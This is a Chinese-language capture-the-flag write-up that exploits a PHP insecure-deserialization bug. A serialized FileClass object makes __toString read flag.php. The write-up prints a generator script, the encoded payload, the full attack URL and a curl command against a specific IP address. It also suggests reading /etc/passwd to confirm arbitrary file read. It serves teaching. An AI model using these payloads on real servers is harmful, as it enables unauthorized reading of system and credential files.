題目
頁面提示輸入?code,那我們在網址里get一下
出現了新頁面的提示,進入看看
下面有個help.php頁面的提示,進入看看
有一段php代碼,仔細分析,應該是要用反序列法
代碼如下
class FileClass{ public $filename = 'error.log'; public function __toString(){ return file_get_contents($this->filename); }
}
代碼分析
關鍵點解析:
-
類結構:
FileClass
是一個PHP類public $filename = 'error.log'
:公共屬性,默認值為’error.log’public function __toString()
:PHP魔術方法
-
__toString()
魔術方法:- 這是PHP中的特殊方法
- 當對象被當作字符串處理時自動調用
- 例如:
echo $object
、print $object
或字符串連接時 - 本例中它執行
file_get_contents($this->filename)
,那么我們就想辦法,讓這個方法去讀取flag文件
-
文件讀取機制:
file_get_contents()
讀取文件內容- 讀取的文件路徑由
$this->filename
決定 - 默認讀取
error.log
,但屬性值可修改
-
安全漏洞:
- 如果攻擊者能控制
$filename
的值 - 就能讀取服務器任意文件
- 這是典型的"任意文件讀取"漏洞
- 如果攻擊者能控制
構造攻擊的Payload生成器
將下列代碼用php運行,得到結果O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}
<?php
class FileClass{public $filename = 'flag.php';
}$file = new FileClass();
echo serialize($file);
?>
通常flag就存儲在這flag.php個文件里
關鍵點解析:
- 類定義:
- 復制目標網站的類名
FileClass
- 修改
$filename
為攻擊目標flag.php
- 復制目標網站的類名
為什么需要完全相同的類名?
在反序列化過程中,PHP會根據序列化字符串中的類名:
- 查找當前是否已定義同名類
- 如果找到,使用該類創建對象
- 如果未找到,創建
__PHP_Incomplete_Class
特殊對象
因此攻擊代碼中必須使用完全相同的類名FileClass
,否則:- 服務器找不到類定義
- 無法正確創建對象
__toString()
不會被觸發
- 對象創建:
$file = new FileClass();
創建對象實例- 此時
$file->filename = 'flag.php'
重寫屬性值不會破壞__toString()方法,反而讓方法基于新值執行,這正是PHP對象序列化漏洞能被利用的根本原因——攻擊者可以控制對象狀態,而服務器代碼會基于該狀態執行敏感操作。
-
序列化:
serialize($file)
將對象轉為序列化字符串- 結果示例:
O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}
- 格式解析:
O:9:"FileClass"
:對象(類名長度9)1
:1個屬性{s:8:"filename"
:屬性名(字符串長度8)s:8:"flag.php"
:屬性值(字符串長度8)
-
URL編碼:
需要對序列化字符串進行編碼,這是為了確保在通過URL參數傳遞時,特殊字符(如雙引號、冒號等)不會破壞URL結構。
可以使用urlencode(serialize($file))
進行編碼- 確保安全傳輸:
:
→%3A
"
→%22
;
→%3B
{
→%7B
}
→%7D
- 最終結果:
O%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
- 確保安全傳輸:
本文實際操作中,URL 編碼/解碼網站直接對后面的參數進行編碼即可。
- 最終攻擊網址為:
http://223.112.39.132:44813/index.php?code=O%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
ctf{64e3be45fb0848259cdcc624758a23119d9a035c}
- 查看結果:
- 如果頁面顯示PHP代碼 → 查看網頁源代碼
- 如果空白 → 嘗試其他文件路徑
- 常見備選路徑:
$filename = '/flag'; // 根目錄下的flag文件 $filename = '../../flag.php'; // 上級目錄 $filename = '/etc/passwd'; // 測試文件
為什么CTF題目這樣設計?
- 漏洞教育:展示反序列化漏洞的實際危害
- 魔術方法風險:演示
__toString()
等魔術方法的安全隱患 - 屬性控制:說明用戶可控對象屬性的危險性
- 文件讀取:任意文件讀取是常見高危漏洞類型
這種設計完美展示了:當不可信輸入直接傳遞給unserialize()
時,攻擊者可以通過控制對象屬性實現敏感操作。
為什么這樣做能獲取flag?
- 服務器存在反序列化漏洞:它接收
code
參數并直接反序列化 - 反序列化后創建了
FileClass
對象 - 當服務器嘗試輸出該對象時,自動調用
__toString()
方法 - 該方法讀取并返回
flag.php
的內容 - 你就能在頁面中看到flag文件的內容
現在嘗試執行這些步驟,應該能成功獲取flag!如果遇到問題,可以嘗試不同的文件路徑或檢查payload格式是否正確。
備注
-
文件路徑問題:
- 如果
flag.php
不在當前目錄,嘗試:/flag
/flag.txt
../../flag.php
/var/www/html/flag.php
- 如果
-
調試技巧:
- 通常,也可以先嘗試讀取
/etc/passwd
確認漏洞存在:$filename = '/etc/passwd';
- 如果頁面顯示空白,查看網頁源代碼
- 也可以使用curl測試:
curl "http://223.112.39.132:44813/help.php?code=O%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D"
- 通常,也可以先嘗試讀取